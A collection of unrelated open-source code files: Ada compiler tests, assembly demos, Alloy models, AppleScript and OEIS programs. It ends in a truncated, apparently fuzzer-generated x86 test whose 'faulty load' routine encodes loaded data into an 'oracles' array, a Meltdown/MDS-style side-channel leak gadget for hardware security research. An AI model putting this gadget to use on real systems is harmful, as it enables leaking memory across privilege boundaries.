YY_EC_Base : Reference_Vectors.Vector; YY_EC_Base_Others : Natural; YY_Accept : Integer_Vectors.Vector; YY_Meta : Integer_Vectors.Vector; YY_Base : Integer_Vectors.Vector; YY_Def : Integer_Vectors.Vector; YY_Nxt : Integer_Vectors.Vector; YY_Chk : Integer_Vectors.Vector; Choices : Choice_Vectors.Vector; procedure Extract (Element : Asis.Element); end Scanner_Extractor;
tests/test_speed.asm
moitias/sointu
0
95992
<reponame>moitias/sointu<gh_stars>0 %define BPM 100 %include "../src/sointu.inc" ; warning: crashes ahead. Now that the bpm could be changed and even modulated by other ; signals, there is no easy way to figure out how many ticks your song is. Either ; allocate some extra memory of the output just in case or simulate exactly how many ; samples are outputted. Here the triplets are slightly faster than the original so ; they fit the default MAX_TICKS that is calculated using the simple bpm assumption. BEGIN_PATTERNS PATTERN 64, 0, 64, 64, 64, 0, 64, 64, 64, 0, 64, 64, 65, 0, 65, 65, PATTERN 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ; 4-rows PATTERN 78, 0, 54, 0, 78, 0, 54, 0, 78, 0, 54, 0, 78, 0, 54, 0, ; triplets END_PATTERNS BEGIN_TRACKS TRACK VOICES(1),0,0 TRACK VOICES(1),1,2 END_TRACKS BEGIN_PATCH BEGIN_INSTRUMENT VOICES(1) ; Instrument0 SU_ENVELOPE MONO,ATTAC(64),DECAY(64),SUSTAIN(0),RELEASE(64),GAIN(128) SU_ENVELOPE MONO,ATTAC(64),DECAY(64),SUSTAIN(0),RELEASE(64),GAIN(128) SU_OSCILLAT MONO,TRANSPOSE(64),DETUNE(32),PHASE(0),COLOR(96),SHAPE(64),GAIN(128), FLAGS(TRISAW) SU_OSCILLAT MONO,TRANSPOSE(72),DETUNE(64),PHASE(64),COLOR(64),SHAPE(96),GAIN(128), FLAGS(TRISAW) SU_MULP STEREO SU_OUT STEREO,GAIN(128) END_INSTRUMENT BEGIN_INSTRUMENT VOICES(1) ; Speed changer SU_LOADNOTE MONO SU_SPEED END_INSTRUMENT END_PATCH %include "../src/sointu.asm"
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/cc/cc3225a.ada
best08618/asylo
7
5850
<gh_stars>1-10 -- CC3225A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- OBJECTIVE: -- CHECK THAT A FORMAL ACCESS TYPE DENOTES ITS ACTUAL -- PARAMETER, AND THAT OPERATIONS OF THE FORMAL TYPE ARE THOSE -- IDENTIFIED WITH THE CORRESPONDING OPERATIONS OF THE ACTUAL TYPE. -- HISTORY: -- DHH 10/21/88 CREATED ORIGINAL TEST. -- PWN 02/02/95 REMOVED INCONSISTENCIES WITH ADA 9X. WITH REPORT; USE REPORT; PROCEDURE CC3225A IS GENERIC TYPE NODE IS PRIVATE; TYPE T IS ACCESS NODE; PACKAGE P IS SUBTYPE SUB_T IS T; PAC_VAR : SUB_T; END P; BEGIN TEST ("CC3225A", "CHECK THAT A FORMAL ACCESS TYPE DENOTES ITS " & "ACTUAL PARAMETER, AND THAT OPERATIONS OF THE " & "FORMAL TYPE ARE THOSE IDENTIFIED WITH THE " & "CORRESPONDING OPERATIONS OF THE ACTUAL TYPE"); DECLARE SUBTYPE INT IS INTEGER RANGE 1 .. 3; TYPE ARR IS ARRAY(1 .. 3) OF INTEGER; TYPE ACC_ARR IS ACCESS ARR; Q : ACC_ARR := NEW ARR; PACKAGE P1 IS NEW P (ARR, ACC_ARR); USE P1; BEGIN PAC_VAR := NEW ARR'(1, 2, 3); IF PAC_VAR'FIRST /= Q'FIRST THEN FAILED("'FIRST ATTRIBUTE FAILED"); END IF; IF PAC_VAR'LAST /= Q'LAST THEN FAILED("'LAST ATTRIBUTE FAILED"); END IF; IF PAC_VAR'FIRST(1) /= Q'FIRST(1) THEN FAILED("'FIRST(N) ATTRIBUTE FAILED"); END IF; IF NOT (PAC_VAR'LAST(1) = Q'LAST(1)) THEN FAILED("'LAST(N) ATTRIBUTE FAILED"); END IF; IF 2 NOT IN PAC_VAR'RANGE THEN FAILED("'RANGE ATTRIBUTE FAILED"); END IF; IF 3 NOT IN PAC_VAR'RANGE(1) THEN FAILED("'RANGE(N) ATTRIBUTE FAILED"); END IF; IF PAC_VAR'LENGTH /= Q'LENGTH THEN FAILED("'LENGTH ATTRIBUTE FAILED"); END IF; IF PAC_VAR'LENGTH(1) /= Q'LENGTH(1) THEN FAILED("'LENGTH(N) ATTRIBUTE FAILED"); END IF; PAC_VAR.ALL := (1, 2, 3); IF IDENT_INT(3) /= PAC_VAR(3) THEN FAILED("ASSIGNMENT FAILED"); END IF; IF SUB_T'(PAC_VAR) NOT IN SUB_T THEN FAILED("QUALIFIED EXPRESSION FAILED"); END IF; Q.ALL := PAC_VAR.ALL; IF SUB_T(Q) = PAC_VAR THEN FAILED("EXPLICIT CONVERSION FAILED"); END IF; IF Q(1) /= PAC_VAR(1) THEN FAILED("INDEXING FAILED"); END IF; IF (1, 2) /= PAC_VAR(1 .. 2) THEN FAILED("SLICE FAILED"); END IF; IF (1, 2) & PAC_VAR(3) /= PAC_VAR.ALL THEN FAILED("CATENATION FAILED"); END IF; END; DECLARE TASK TYPE TSK IS ENTRY ONE; END TSK; GENERIC TYPE T IS ACCESS TSK; PACKAGE P IS SUBTYPE SUB_T IS T; PAC_VAR : SUB_T; END P; TYPE ACC_TSK IS ACCESS TSK; PACKAGE P1 IS NEW P(ACC_TSK); USE P1; GLOBAL : INTEGER := 5; TASK BODY TSK IS BEGIN ACCEPT ONE DO GLOBAL := 1; END ONE; END; BEGIN PAC_VAR := NEW TSK; PAC_VAR.ONE; IF GLOBAL /= 1 THEN FAILED("TASK ENTRY SELECTION FAILED"); END IF; END; DECLARE TYPE REC IS RECORD I : INTEGER; B : BOOLEAN; END RECORD; TYPE ACC_REC IS ACCESS REC; PACKAGE P1 IS NEW P (REC, ACC_REC); USE P1; BEGIN PAC_VAR := NEW REC'(4, (PAC_VAR IN ACC_REC)); IF PAC_VAR.I /= IDENT_INT(4) AND NOT PAC_VAR.B THEN FAILED("RECORD COMPONENT SELECTION FAILED"); END IF; END; DECLARE TYPE REC(B : BOOLEAN := FALSE) IS RECORD NULL; END RECORD; TYPE ACC_REC IS ACCESS REC; PACKAGE P1 IS NEW P (REC, ACC_REC); USE P1; BEGIN PAC_VAR := NEW REC'(B => PAC_VAR IN ACC_REC); IF NOT PAC_VAR.B THEN FAILED("DISCRIMINANT SELECTION FAILED"); END IF; END; RESULT; END CC3225A;
micro-bit/longan-nano-#0030-blink-direct/novectors.asm
wovo/bmptk-examples
0
165082
<reponame>wovo/bmptk-examples .globl _start _start: lui x2,0x20001 jal main j .
extras/source/cct.asm
olifink/smsqe
0
163032
<gh_stars>0 ; concatenate files ; EX cct,file1$,file2$,... filex$,lib$ ; where: ; cct = this software ; files$ = name of the files which are to be concatenated ; lib$ = name of resulting concatenated file ; this is a "specail" program inthe QODS sense, i.e. ; a new $4afb flag after the job name FILETYPE 1 section cct DATA 1000 BRA.S start ; normal job header DC.W 'W.L.' ; vanity DC.W $4AFB DC.W len-*-2 DC.B 'CCT' len dc.w $4afb ; "special" job header ; this is the routine called by EX as part of thebasic command (!) ex_entry MOVE.L A0,A2 ; put the utility address somewhere safer EXG A5,A3 ; we will process the params from the back end MOVEQ #-15,D0 ; preset error to invalid parameter SUBQ.L #2,D7 ; there must be at least 2 channels BLT.S ex_rts ; ... but there aren't MOVEQ #0,D0 ; ... oh yes there are! ex_loop SUBQ.L #8,A3 ; move down one CMP.L A5,A3 ; any more parameters BLT.S ex_rts ; ... no JSR (A2) ; get a string from the command line BLT.S ex_rts ; ... oops BGT.S ex_put_id ; ... #n MOVEQ #1,D3 ; the file is an input TST.W D5 ; last file? BNE.S ex_open ; ... no ->... MOVEQ #3,D3 ; ... yes, open overwrite ex_open JSR 2(A2) ; open the file BNE.S ex_rts ; ... oops ex_put_id MOVE.L A0,-(A4) ; put the id on the stack ADDQ.L #1,D5 ; one more BRA.S ex_loop ; and look at next ex_rts RTS start MOVEQ #-15,D0 ; preset error MOVE.W (A7)+,D7 ; number of files, the last one is the result file BEQ hara ; must be at least 2 ->.... SUBQ.W #1,D7 BEQ hara ; must be at least 2 & prepare dbf MOVE.W D7,D2 ; nbr of last file LSL.W #2,D2 ; channel ids are long words MOVE.L (A7,D2.W),A5 ; channel ID for result file MOVEQ #40,D1 BSR.S get_mem ; get mem into A0 BNE.S hara ; oops ->... MOVE.L A0,D5 ; D5 = memo MOVEQ #-1,D3 ; timeout concat MOVE.L (A7)+,A0 ; channel ID for next file to concat CMP.L A0,A5 ; same as output? BEQ.S harakiri ; yes, end reached ->... MOVE.L A0,A4 ; keep channel ID MOVEQ #38,D2 ; space needed for reading file header MOVE.L D5,A1 ; point to space MOVEQ #$47,D0 TRAP #3 ; read file header TST.L D0 BNE.S harakiri ; ooops->... MOVE.L D5,A1 ; file header MOVE.L (A1),D4 ; D4 = file length BEQ.S concat ; 0 length file (???) ->... MOVE.L D4,D1 ; memory space need for this file BSR.S get_mem ; get it BNE.S harakiri ; ooops->... MOVE.L A0,A1 ; point to space now EXG A0,A4 ; A0 = channel ID, A4 = memory MOVE.L D4,D2 ; how much we read in (all of it) MOVEQ #$48,D0 TRAP #3 ; read entire file TST.L D0 BNE.S harakiri MOVEQ #2,D0 TRAP #2 ; close file MOVE.L A4,A1 ; A1 = start of mem for this file MOVE.L D4,D2 ; D2 = length MOVE.L A5,A0 ; A0 = output file ID MOVEQ #$49,D0 TRAP #3 ; send the bytes TST.L D0 BNE.S harakiri MOVE.L A4,A0 ; release memory BSR.S rel_mem do_loop BRA.S concat ; and do again myregs REG D1-D3/A1-A3 get_mem MOVEM.L myregs,-(A7) ; typical get mem call MOVEQ #-1,D2 ; for myself MOVEQ #$18,D0 ; MT_ALCHP TRAP #1 MOVEM.L (A7)+,myregs TST.L D0 RTS rel_mem MOVEM.L myregs,-(A7) MOVEQ #$19,D0 ; MT_RECHP TRAP #1 MOVEM.L (A7)+,myregs TST.L D0 RTS harakiri MOVE.L D0,D7 ; keep error MOVE.L D5,A0 ; point to mem for file headers BSR.S rel_mem ; release it MOVE.L D7,D0 ; get original error back hara MOVE.L D0,D3 ; put it in reg now hara3 MOVEQ #-1,D1 MOVEQ #5,D0 TRAP #1 ; remove this job now END
alloy4fun_models/trashltl/models/15/ZYD59xDQe5rfZzrdw.als
Kaixi26/org.alloytools.alloy
0
265
<filename>alloy4fun_models/trashltl/models/15/ZYD59xDQe5rfZzrdw.als open main pred idZYD59xDQe5rfZzrdw_prop16 { all f:Protected | historically f in Protected } pred __repair { idZYD59xDQe5rfZzrdw_prop16 } check __repair { idZYD59xDQe5rfZzrdw_prop16 <=> prop16o }
Task/Generate-lower-case-ASCII-alphabet/AppleScript/generate-lower-case-ascii-alphabet-1.applescript
mbirabhadra/RosettaCodeData
1
4336
<reponame>mbirabhadra/RosettaCodeData on run {enumFromTo("a", "z"), ¬ enumFromTo("🐐", "🐟")} end run -- GENERIC FUNCTIONS ---------------------------------------------------------- -- chr :: Int -> Char on chr(n) character id n end chr -- ord :: Char -> Int on ord(c) id of c end ord -- enumFromTo :: Enum a => a -> a -> [a] on enumFromTo(m, n) set {intM, intN} to {fromEnum(m), fromEnum(n)} if intM > intN then set d to -1 else set d to 1 end if set lst to {} if class of m is text then repeat with i from intM to intN by d set end of lst to chr(i) end repeat else repeat with i from intM to intN by d set end of lst to i end repeat end if return lst end enumFromTo -- fromEnum :: Enum a => a -> Int on fromEnum(x) set c to class of x if c is boolean then if x then 1 else 0 end if else if c is text then if x ≠ "" then id of x else missing value end if else x as integer end if end fromEnum
src/natools-time_io-human.adb
faelys/natools
0
24705
------------------------------------------------------------------------------ -- Copyright (c) 2014, <NAME> -- -- -- -- Permission to use, copy, modify, and distribute this software for any -- -- purpose with or without fee is hereby granted, provided that the above -- -- copyright notice and this permission notice appear in all copies. -- -- -- -- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES -- -- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -- -- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR -- -- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -- -- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -- -- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF -- -- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. -- ------------------------------------------------------------------------------ with Ada.Calendar.Arithmetic; package body Natools.Time_IO.Human is --------------------- -- Duration Images -- --------------------- function Difference_Image (Left, Right : Ada.Calendar.Time; Use_Weeks : Boolean := False) return String is use type Ada.Calendar.Arithmetic.Day_Count; Days, Rounded_Days : Ada.Calendar.Arithmetic.Day_Count; Seconds : Duration; Leap_Seconds : Ada.Calendar.Arithmetic.Leap_Seconds_Count; begin if Ada.Calendar."<" (Left, Right) then return '-' & Difference_Image (Left => Right, Right => Left, Use_Weeks => Use_Weeks); end if; Ada.Calendar.Arithmetic.Difference (Left, Right, Days, Seconds, Leap_Seconds); Seconds := Seconds - 86400.0 + Duration (Leap_Seconds); if Seconds >= 0.0 then Days := Days + 1; else Seconds := Seconds + 86400.0; end if; if Seconds >= 43200.0 then Rounded_Days := Days + 1; else Rounded_Days := Days; end if; if Use_Weeks and then Rounded_Days >= 7 then declare Weeks : constant Ada.Calendar.Arithmetic.Day_Count := Rounded_Days / 7; begin Rounded_Days := Rounded_Days - Weeks * 7; if Weeks >= 10 or Rounded_Days = 0 then return Trim_Image (Ada.Calendar.Arithmetic.Day_Count'Image (Weeks)) & 'w'; else return Trim_Image (Ada.Calendar.Arithmetic.Day_Count'Image (Weeks)) & 'w' & Ada.Calendar.Arithmetic.Day_Count'Image (Rounded_Days) & 'd'; end if; end; elsif Rounded_Days >= 10 then return Trim_Image (Ada.Calendar.Arithmetic.Day_Count'Image (Rounded_Days)) & 'd'; elsif Days > 0 then declare Hours : constant Natural := Natural (Seconds / 3600); begin case Hours is when 0 => return Trim_Image (Ada.Calendar.Arithmetic.Day_Count'Image (Days)) & 'd'; when 1 .. 23 => return Trim_Image (Ada.Calendar.Arithmetic.Day_Count'Image (Days)) & 'd' & Natural'Image (Hours) & 'h'; when 24 => return Trim_Image (Ada.Calendar.Arithmetic.Day_Count'Image (Days + 1)) & 'd'; when others => raise Program_Error; end case; end; else return Image (Seconds); end if; end Difference_Image; function Image (Value : Duration) return String is function Local_Image (Mul_1, Div : Positive; Unit_1 : String; Mul_2 : Positive; Unit_2 : String) return String; function Scientific_Image (Mul : Positive; Unit : String) return String; function Local_Image (Mul_1, Div : Positive; Unit_1 : String; Mul_2 : Positive; Unit_2 : String) return String is Scaled : constant Duration := Value * Mul_1 / Div; Main : constant Natural := Natural (Scaled - 0.5); Secondary : constant Natural := Natural ((Scaled - Duration (Main)) * Mul_2); begin pragma Assert (Secondary <= Mul_2); if Secondary = Mul_2 then return Trim_Image (Natural'Image (Main + 1)) & Unit_1; elsif Secondary = 0 then return Trim_Image (Natural'Image (Main)) & Unit_1; else return Trim_Image (Natural'Image (Main)) & Unit_1 & Natural'Image (Secondary) & Unit_2; end if; end Local_Image; function Scientific_Image (Mul : Positive; Unit : String) return String is Scaled : constant Duration := Value * Mul; I_Part : constant Natural := Natural (Scaled - 0.5); F_Part : constant Natural := Natural ((Scaled - Duration (I_Part)) * 1000); begin if F_Part = 0 then return Trim_Image (Natural'Image (I_Part)) & Unit; elsif F_Part = 1000 then return Trim_Image (Natural'Image (I_Part + 1)) & Unit; else return Trim_Image (Natural'Image (I_Part)) & ('.', Image (F_Part / 100), Image ((F_Part / 10) mod 10), Image (F_Part mod 10)) & Unit; end if; end Scientific_Image; begin if Value < 0.0 then return '-' & Image (-Value); elsif Value = 0.0 then return "0s"; elsif Value >= 86400.0 - 1800.0 then return Local_Image (1, 86400, "d", 24, "h"); elsif Value >= 36000.0 then return Trim_Image (Positive'Image (Positive (Value / 3600))) & 'h'; elsif Value >= 3600.0 - 30.0 then return Local_Image (1, 3600, "h", 60, "m"); elsif Value >= 600.0 then return Trim_Image (Positive'Image (Positive (Value / 60))) & " min"; elsif Value >= 60.0 - 0.5 then return Local_Image (1, 60, " min", 60, "s"); elsif Value >= 10.0 then return Trim_Image (Positive'Image (Positive (Value))) & 's'; elsif Value >= 1.0 then return Scientific_Image (1, " s"); elsif Value >= 0.01 then return Trim_Image (Positive'Image (Positive (Value * 1000))) & " ms"; elsif Value >= 0.001 then return Scientific_Image (1_000, " ms"); elsif Value >= 0.000_01 then return Trim_Image (Positive'Image (Positive (Value * 1_000_000))) & " us"; elsif Value >= 0.000_001 then return Scientific_Image (1_000_000, " us"); else return Scientific_Image (1_000_000_000, " ns"); end if; end Image; end Natools.Time_IO.Human;
alloy4fun_models/trashltl/models/5/8vKG5dM92J8WtFBzC.als
Kaixi26/org.alloytools.alloy
0
542
open main pred id8vKG5dM92J8WtFBzC_prop6 { all f : File | f' in Trash => always f' in Trash } pred __repair { id8vKG5dM92J8WtFBzC_prop6 } check __repair { id8vKG5dM92J8WtFBzC_prop6 <=> prop6o }
.examples/Mandelbrot_dis.asm
hellopuza/Processor
1
163829
;;;; Mandelbrot Disassembler ;;;; main: push 320 ; 0x00000000: 81 40 01 00 00 push 240 ; 0x00000005: 81 F0 00 00 00 pop scry ; 0x0000000A: 42 0C pop scrx ; 0x0000000C: 42 0B push 2 ; 0x0000000E: 81 02 00 00 00 pop [0] ; 0x00000013: A2 00 00 00 00 push 100 ; 0x00000018: 81 64 00 00 00 pop [4] ; 0x0000001D: A2 04 00 00 00 pushq 1.300000 ; 0x00000022: 8D CD CC CC CC CC CC F4 3F popq [8] ; 0x0000002B: AE 08 00 00 00 pushq -1.300000 ; 0x00000030: 8D CD CC CC CC CC CC F4 BF popq [16] ; 0x00000039: AE 10 00 00 00 push 80 ; 0x0000003E: 81 50 00 00 00 pop rbp ; 0x00000043: 42 09 pushq [8] ; 0x00000045: AD 08 00 00 00 pushq [16] ; 0x0000004A: AD 10 00 00 00 subq ; 0x0000004F: 12 pushq scrx ; 0x00000050: 4D 0B mulq ; 0x00000052: 13 pushq scry ; 0x00000053: 4D 0C divq ; 0x00000055: 14 pushq 5.000000 ; 0x00000056: 8D 00 00 00 00 00 00 14 40 divq ; 0x0000005F: 14 popq rax ; 0x00000060: 4E 05 pushq rax ; 0x00000062: 4D 05 pushq 3.000000 ; 0x00000064: 8D 00 00 00 00 00 00 08 40 mulq ; 0x0000006D: 13 negq ; 0x0000006E: 15 popq [24] ; 0x0000006F: AE 18 00 00 00 pushq rax ; 0x00000074: 4D 05 pushq 2.000000 ; 0x00000076: 8D 00 00 00 00 00 00 00 40 mulq ; 0x0000007F: 13 popq [32] ; 0x00000080: AE 20 00 00 00 push 0 ; 0x00000085: 81 00 00 00 00 pop rbx ; 0x0000008A: 42 06 jmp L0 ; 0x0000008C: 19 DF 01 00 00 L8: push 0 ; 0x00000091: 81 00 00 00 00 pop rax ; 0x00000096: 42 05 jmp L1 ; 0x00000098: 19 CC 01 00 00 L7: pushq [32] ; 0x0000009D: AD 20 00 00 00 pushq [24] ; 0x000000A2: AD 18 00 00 00 subq ; 0x000000A7: 12 pushq rax ; 0x000000A8: 4D 05 mulq ; 0x000000AA: 13 pushq scrx ; 0x000000AB: 4D 0B divq ; 0x000000AD: 14 pushq [24] ; 0x000000AE: AD 18 00 00 00 addq ; 0x000000B3: 11 popq [40] ; 0x000000B4: AE 28 00 00 00 pushq [8] ; 0x000000B9: AD 08 00 00 00 pushq [16] ; 0x000000BE: AD 10 00 00 00 subq ; 0x000000C3: 12 pushq rbx ; 0x000000C4: 4D 06 mulq ; 0x000000C6: 13 pushq scry ; 0x000000C7: 4D 0C divq ; 0x000000C9: 14 pushq [16] ; 0x000000CA: AD 10 00 00 00 addq ; 0x000000CF: 11 popq [48] ; 0x000000D0: AE 30 00 00 00 pushq [40] ; 0x000000D5: AD 28 00 00 00 pushq [40] ; 0x000000DA: AD 28 00 00 00 mulq ; 0x000000DF: 13 popq [56] ; 0x000000E0: AE 38 00 00 00 pushq [48] ; 0x000000E5: AD 30 00 00 00 pushq [48] ; 0x000000EA: AD 30 00 00 00 mulq ; 0x000000EF: 13 popq [64] ; 0x000000F0: AE 40 00 00 00 pushq [40] ; 0x000000F5: AD 28 00 00 00 pushq [48] ; 0x000000FA: AD 30 00 00 00 addq ; 0x000000FF: 11 popq eax ; 0x00000100: 4E 01 pushq eax ; 0x00000102: 4D 01 pushq eax ; 0x00000104: 4D 01 mulq ; 0x00000106: 13 popq [72] ; 0x00000107: AE 48 00 00 00 push 0 ; 0x0000010C: 81 00 00 00 00 pop rcx ; 0x00000111: 42 07 jmp L2 ; 0x00000113: 19 73 01 00 00 L4: pushq [56] ; 0x00000118: AD 38 00 00 00 pushq [64] ; 0x0000011D: AD 40 00 00 00 subq ; 0x00000122: 12 pushq [40] ; 0x00000123: AD 28 00 00 00 addq ; 0x00000128: 11 popq eax ; 0x00000129: 4E 01 pushq [72] ; 0x0000012B: AD 48 00 00 00 pushq [56] ; 0x00000130: AD 38 00 00 00 subq ; 0x00000135: 12 pushq [64] ; 0x00000136: AD 40 00 00 00 subq ; 0x0000013B: 12 pushq [48] ; 0x0000013C: AD 30 00 00 00 addq ; 0x00000141: 11 popq ebx ; 0x00000142: 4E 02 pushq eax ; 0x00000144: 4D 01 pushq eax ; 0x00000146: 4D 01 mulq ; 0x00000148: 13 popq [56] ; 0x00000149: AE 38 00 00 00 pushq ebx ; 0x0000014E: 4D 02 pushq ebx ; 0x00000150: 4D 02 mulq ; 0x00000152: 13 popq [64] ; 0x00000153: AE 40 00 00 00 pushq eax ; 0x00000158: 4D 01 pushq ebx ; 0x0000015A: 4D 02 addq ; 0x0000015C: 11 popq eax ; 0x0000015D: 4E 01 pushq eax ; 0x0000015F: 4D 01 pushq eax ; 0x00000161: 4D 01 mulq ; 0x00000163: 13 popq [72] ; 0x00000164: AE 48 00 00 00 push 1 ; 0x00000169: 81 01 00 00 00 push rcx ; 0x0000016E: 41 07 add ; 0x00000170: 05 pop rcx ; 0x00000171: 42 07 L2: push [4] ; 0x00000173: A1 04 00 00 00 int2flt ; 0x00000178: 23 push rcx ; 0x00000179: 41 07 int2flt ; 0x0000017B: 23 jae L3 ; 0x0000017C: 1D 97 01 00 00 pushq [56] ; 0x00000181: AD 38 00 00 00 pushq [64] ; 0x00000186: AD 40 00 00 00 addq ; 0x0000018B: 11 push [0] ; 0x0000018C: A1 00 00 00 00 int2flt ; 0x00000191: 23 jae L4 ; 0x00000192: 1D 18 01 00 00 L3: push [4] ; 0x00000197: A1 04 00 00 00 int2flt ; 0x0000019C: 23 push rcx ; 0x0000019D: 41 07 int2flt ; 0x0000019F: 23 jb L5 ; 0x000001A0: 1E B1 01 00 00 push 0 ; 0x000001A5: 81 00 00 00 00 pop [rbp] ; 0x000001AA: 62 09 jmp L6 ; 0x000001AC: 19 B8 01 00 00 L5: push 16777215 ; 0x000001B1: 81 FF FF FF 00 pop [rbp] ; 0x000001B6: 62 09 L6: push 3 ; 0x000001B8: 81 03 00 00 00 push rbp ; 0x000001BD: 41 09 add ; 0x000001BF: 05 pop rbp ; 0x000001C0: 42 09 push 1 ; 0x000001C2: 81 01 00 00 00 push rax ; 0x000001C7: 41 05 add ; 0x000001C9: 05 pop rax ; 0x000001CA: 42 05 L1: pushq scrx ; 0x000001CC: 4D 0B pushq rax ; 0x000001CE: 4D 05 jb L7 ; 0x000001D0: 1E 9D 00 00 00 push 1 ; 0x000001D5: 81 01 00 00 00 push rbx ; 0x000001DA: 41 06 add ; 0x000001DC: 05 pop rbx ; 0x000001DD: 42 06 L0: pushq scry ; 0x000001DF: 4D 0C pushq rbx ; 0x000001E1: 4D 06 jb L8 ; 0x000001E3: 1E 91 00 00 00 push 80 ; 0x000001E8: 81 50 00 00 00 pop rbp ; 0x000001ED: 42 09 screen rbp ; 0x000001EF: 24 09 hlt ; 0x000001F1: 00
oeis/211/A211275.asm
neoneye/loda-programs
11
5400
; A211275: Number of integer pairs (x,y) such that 0 < x <= y <= n and x*y <= floor(n/2). ; Submitted by <NAME> ; 0,1,1,2,2,3,3,5,5,6,6,8,8,9,9,11,11,13,13,15,15,16,16,19,19,20,20,22,22,24,24,27,27,28,28,31,31,32,32,35,35,37,37,39,39,40,40,44,44,46,46,48,48,50,50,53,53,54,54,58,58,59,59,62,62,64,64,66,66,68,68 add $0,1 div $0,2 seq $0,132106 ; a(n) = 1 + floor(sqrt(n)) + Sum_{i=1..n} floor(n/i). div $0,2
20-dl/dl.asm
gashev/assembly-examples
1
97501
<filename>20-dl/dl.asm extern dlclose extern dlopen extern dlsym extern exit SECTION .data library: db '/lib64/libc.so.6', 0 function_name: db 'puts', 0 str: db 'test', 0 SECTION .text GLOBAL _start _start: ; Call dlopen. mov rsi, 1 mov rdi, library call dlopen push rax ; Call dlsym. mov rsi, function_name mov rdi, rax call dlsym ; Call function. mov rdi, str call rax ; Call dlclose. pop rax mov rdi, rax call dlclose ; Exit application. mov rdi, 0 call exit
oeis/138/A138146.asm
neoneye/loda-programs
11
104317
; A138146: Palindromes with 2n-1 digits formed from the reflected decimal expansion of the concatenation of 1, 1, 1 and infinite 0's. ; 1,111,11111,1110111,111000111,11100000111,1110000000111,111000000000111,11100000000000111,1110000000000000111,111000000000000000111,11100000000000000000111 mul $0,2 seq $0,147596 ; a(n) is the number whose binary representation is A138145(n). seq $0,7088 ; The binary numbers (or binary words, or binary vectors, or binary expansion of n): numbers written in base 2.
programs/oeis/002/A002697.asm
karttu/loda
1
18880
<reponame>karttu/loda<gh_stars>1-10 ; A002697: a(n) = n*4^(n-1). ; 0,1,8,48,256,1280,6144,28672,131072,589824,2621440,11534336,50331648,218103808,939524096,4026531840,17179869184,73014444032,309237645312,1305670057984,5497558138880,23089744183296,96757023244288,404620279021568,1688849860263936,7036874417766400 mov $1,4 pow $1,$0 mul $1,$0 div $1,4
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_12_1160.asm
ljhsiun2/medusa
9
99596
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r15 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_UC_ht+0x12f46, %rdi nop nop xor %r9, %r9 mov (%rdi), %r8w nop xor $47346, %rsi lea addresses_D_ht+0x1929b, %r8 add %rcx, %rcx mov $0x6162636465666768, %r11 movq %r11, %xmm6 and $0xffffffffffffffc0, %r8 movntdq %xmm6, (%r8) nop nop nop nop nop xor %r8, %r8 lea addresses_normal_ht+0xec1b, %r8 clflush (%r8) nop nop xor %r15, %r15 movb (%r8), %r11b nop nop nop nop nop sub $13016, %rcx lea addresses_A_ht+0xf99b, %r15 cmp %rcx, %rcx movb (%r15), %r8b nop nop nop nop sub %r15, %r15 lea addresses_WC_ht+0x1dedb, %r8 xor %r15, %r15 movl $0x61626364, (%r8) nop xor %rcx, %rcx lea addresses_A_ht+0x1ec1b, %rsi lea addresses_normal_ht+0x1b96f, %rdi nop nop cmp $43363, %r10 mov $5, %rcx rep movsq nop nop nop inc %rdi pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r15 push %r8 push %rdi push %rsi // Faulty Load lea addresses_US+0x1541b, %r15 nop nop nop nop and $754, %rsi mov (%r15), %r11d lea oracles, %rdi and $0xff, %r11 shlq $12, %r11 mov (%rdi,%r11,1), %r11 pop %rsi pop %rdi pop %r8 pop %r15 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 